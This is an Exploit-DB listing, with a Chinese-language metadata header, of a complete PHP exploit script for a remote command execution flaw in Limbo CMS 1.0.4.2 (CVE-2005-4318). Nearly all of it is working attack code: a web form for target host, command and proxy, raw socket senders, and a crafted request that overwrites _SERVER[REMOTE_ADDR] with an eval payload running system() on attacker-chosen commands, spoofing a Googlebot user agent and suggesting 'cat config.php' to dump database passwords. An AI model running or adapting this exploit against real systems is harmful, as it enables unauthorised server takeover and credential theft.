标题: Limbo 1.0.4.2 - '_SERVER[REMOTE_ADDR]' Remote Command Execution EDB-ID: 1373 CVE: 2005-4318 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-14 漏洞利用脚本: <?php
#  ---limbo_1042_eval_xpl.php                             16.03 14/12/2005     #
#                                                                              #
#  Limbo <= 1.0.4.2 _SERVER[REMOTE_ADDR] overwrite/ remote cmmnds xctn         #
#                              coded by rgod                                   #
#                    site: http://rgod.altervista.org                          #
#                                                                              #
#  -> this works wtih register_globals off & regardless of magic_quotes_gpc    #
#  settings                                                                    #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: "Humble words and increased preparations are signs that the enemy  #
#  is about to advance.  Violent language and driving forward as if to the     #
#  attack are signs that he will retreat.                                      #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'<html><head><title>Limbo <= 1.0.4.2 _SERVER[REMOTE_ADDR] remote cmmnds xctn
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important}  h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
Limbo <= 1.0.4.2 _SERVER[REMOTE_ADDR] remote cmmnds xctn</p><p class="Stile6"> a
script  by  rgod  at        <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">  <form
name="form1" method="post" action="'.strip_tags($_SERVER[PHP_SELF]).'"><p><input
type="text"  name="host"> <span class="Stile5">* hostname  (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/limbo/  or just / ) </span></p><p><input type="text" name="command">      <span
class="Stile5"> * specify a command ("cat config.php" to see database username &
password)</span></p><p><input type="text" name="port">     <span class="Stile5">
specify  a  port   other   than  80 ( default  value )  </span></p>  <p>  <input
type="text"   name="proxy">    <span class="Stile5">    send  exploit through an
HTTP proxy(ip:port)</span></p><p><input type="submit" name="Submit" value="go!">
</p></form></td></tr></table></body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
       }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
       }
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
                //next function to send packets
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
                   echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
                   }
       else
     {   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
                    echo "OK.<br>";
                    echo "Attempting to connect to ".$host." on port ".$port."...<br>";
                    if ($proxy=='')
     {
       $result = socket_connect($socket, $host, $port);
     }
     else
     {

     $parts =explode(':',$proxy);
                   echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
     $result = socket_connect($socket, $parts[0],$parts[1]);
     }
     if ($result < 0) {
                                     echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
                                    }
                        else
                      {
                                     echo "OK.<br><br>";
                                     $html= '';
                                     socket_write($socket, $packet, strlen($packet));
                                     echo "Reading response:<br>";
                                     while ($out= socket_read($socket, 2048)) {$html.=$out;}
                                     echo nl2br(htmlentities($html));
                                     echo "Closing socket...";
                                     socket_close($socket);

        }
                  }
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
      {$ock=fsockopen(gethostbyname($host),$port);
       if (!$ock) { echo 'No response from '.htmlentities($host);
   die; }
      }
             else
           {
    $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
    $parts=explode(':',$proxy);
     echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
     $ock=fsockopen($parts[0],$parts[1]);
     if (!$ock) { echo 'No response from proxy...';
   die;
         }
    }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

$host=$_POST[host];
$path=$_POST[path];
$command=$_POST[command];
$port=$_POST[port];
$proxy=$_POST[proxy];

if (($host<>'') and ($path<>'') and ($command<>''))
{
  $port=intval(trim($port));
  if ($port=='') {$port=80;}
  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  $host=str_replace("\r\n","",$host);
  $path=str_replace("\r\n","",$path);
  # STEP X -> one and unique...
  # we overwrite ip address, include classes/adodbt/read_table.php and pass commands to an eval()
  $SHELL="'.ini_set(\"max_execution_time\",0).system(\$_GET[cmd]).die('HiMaster!').'";
  $SHELL=urlencode($SHELL);
  $packet="GET ".$p."index2.php?cmd=".urlencode($command)."&_SERVER[]=&_SERVER[REMOTE_ADDR]=";
  $packet.=$SHELL;
  $packet.="&option=wrapper&module[module]=1 HTTP/1.1\r\n";
  $packet.="User-Agent: Googlebot/2.1\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  show($packet);
  sendpacketii($packet);
  if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";}
                           else {echo "Exploit failed...";}
}
else
{echo "Fill * required fields, optionally specify a proxy...";}
?>

# milw0rm.com [2005-12-14] URL: https://www.exploit-db.com/exploits/1373